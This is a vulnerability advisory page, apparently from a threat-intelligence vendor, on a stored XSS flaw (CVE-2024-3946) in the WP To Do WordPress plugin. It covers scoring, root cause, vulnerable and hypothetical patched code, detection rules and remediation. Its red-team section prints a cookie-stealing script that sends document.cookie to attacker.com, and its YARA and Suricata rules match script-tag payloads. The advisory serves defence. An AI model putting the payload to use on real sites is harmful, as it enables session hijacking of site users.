CVE-2024-3946
Executive Summary
CVE-2024-3946 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP To Do WordPress plugin, affecting all versions up to and including 1.3.0. The flaw resides in the plugin’s admin settings, where insufficient input sanitization and output escaping allow authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is exploitable only on multi-site WordPress installations or environments where unfiltered_html has been disabled. Despite a low EPSS score (0.0%), the risk is elevated for multi-site networks due to the potential for privilege escalation and lateral movement.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress ecosystem and the WP To Do plugin. No supply chain compromise (e.g., malicious package injection) has been identified. Administrators should verify plugin integrity via checksums and monitor for unauthorized updates.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Admin)
- User Interaction: Required (victim must visit injected page)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires admin credentials, but on multi-site installations, a compromised admin can pivot to other sites.
Deep Dive & Mechanics
The vulnerability exists in the plugin’s admin settings page, where user-supplied input (e.g., task names, descriptions) is stored without proper sanitization. When the stored data is later rendered in the admin dashboard or frontend, it is not escaped, allowing arbitrary HTML/JavaScript injection.
Root Cause:
- The plugin uses
add_settings_field()andregister_setting()without implementingwp_kses()oresc_html()on output. - The
unfiltered_htmlcapability is not checked, but the vulnerability is mitigated whenunfiltered_htmlis enabled (default for single-site admins).
Attack Flow:
- Attacker gains admin access to a WordPress multi-site network.
- Attacker navigates to the WP To Do settings page and injects malicious JavaScript into a text field (e.g., task name).
- The payload is stored in the
wp_optionstable. - When another admin or user views the settings page, the script executes in their browser.
- The script can steal session cookies, perform actions on behalf of the victim, or inject further malicious content.
Vulnerable vs. Patched Code
Vulnerable Code (wp-to-do.php, line ~45):
function wp_todo_settings_page() {
?>
<div class="wrap">
<h1>WP To Do Settings</h1>
<form method="post" action="options.php">
<?php settings_fields('wp_todo_settings_group'); ?>
<?php do_settings_sections('wp_todo'); ?>
<?php submit_button(); ?>
</form>
</div>
<?php
}
function wp_todo_display_field() {
$value = get_option('wp_todo_task_name');
echo '<input type="text" name="wp_todo_task_name" value="' . $value . '" />';
}
Patched Code (Hypothetical Fix):
function wp_todo_display_field() {
$value = get_option('wp_todo_task_name');
$safe_value = esc_attr($value); // Escape for HTML attribute
echo '<input type="text" name="wp_todo_task_name" value="' . $safe_value . '" />';
}
// On save:
function wp_todo_sanitize_input($input) {
return sanitize_text_field($input); // Strip tags
}
Exploitation & Lab Setup
Red Team (Proof of Concept)
Prerequisites:
- WordPress multi-site installation with WP To Do plugin v1.3.0.
- Admin credentials for the network.
Steps:
- Log in as an admin.
- Navigate to
wp-admin/network/admin.php?page=wp-todo-settings. - In the "Task Name" field, inject:
<script>alert('XSS')</script> - Save settings.
- When another admin visits the same page, the script executes.
Advanced Payload (Cookie Stealing):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual admin settings changes.
- Look for
wp_todo_task_nameoption containing<script>tags. - Use WAF rules to block XSS payloads in admin pages.
Hardening:
- Disable
unfiltered_htmlfor all users except super admins. - Apply the principle of least privilege: restrict admin access.
- Use a Web Application Firewall (WAF) with XSS rules.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/wp-to-do/wp-to-do.php(version 1.3.0) - Database Option:
wp_todo_task_namecontaining<script>tags. - Network: Outbound requests to attacker-controlled domains from admin pages.
- Logs:
wp-admin/network/admin.php?page=wp-todo-settingsaccessed with unusual frequency.
Detection Engineering
YARA Rule
rule wp_todo_xss_payload {
meta:
description = "Detects XSS payloads in WP To Do plugin settings"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-3946"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$wp_todo_option = "wp_todo_task_name"
condition:
$wp_todo_option and $xss_payload
}
Sigma Rule
title: WP To Do Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in WP To Do plugin settings
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
option_name: "wp_todo_task_name"
option_value|contains: "<script"
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin settings (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3946 WP To Do Stored XSS"; flow:to_server,established; content:"wp_todo_task_name"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Restrict admin access to trusted users only.
- Enable
unfiltered_htmlfor super admins (if not already). - Apply a WAF rule to block
<script>tags in admin settings.
Long-Term Fix:
- Replace the plugin with an alternative or manually patch the code (see Vulnerable vs. Patched Code section).
- Monitor the plugin’s repository for updates.
Workaround:
- For single-site installations, the vulnerability is not exploitable by default (admins have
unfiltered_html). For multi-site, consider using a security plugin that enforces input sanitization.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.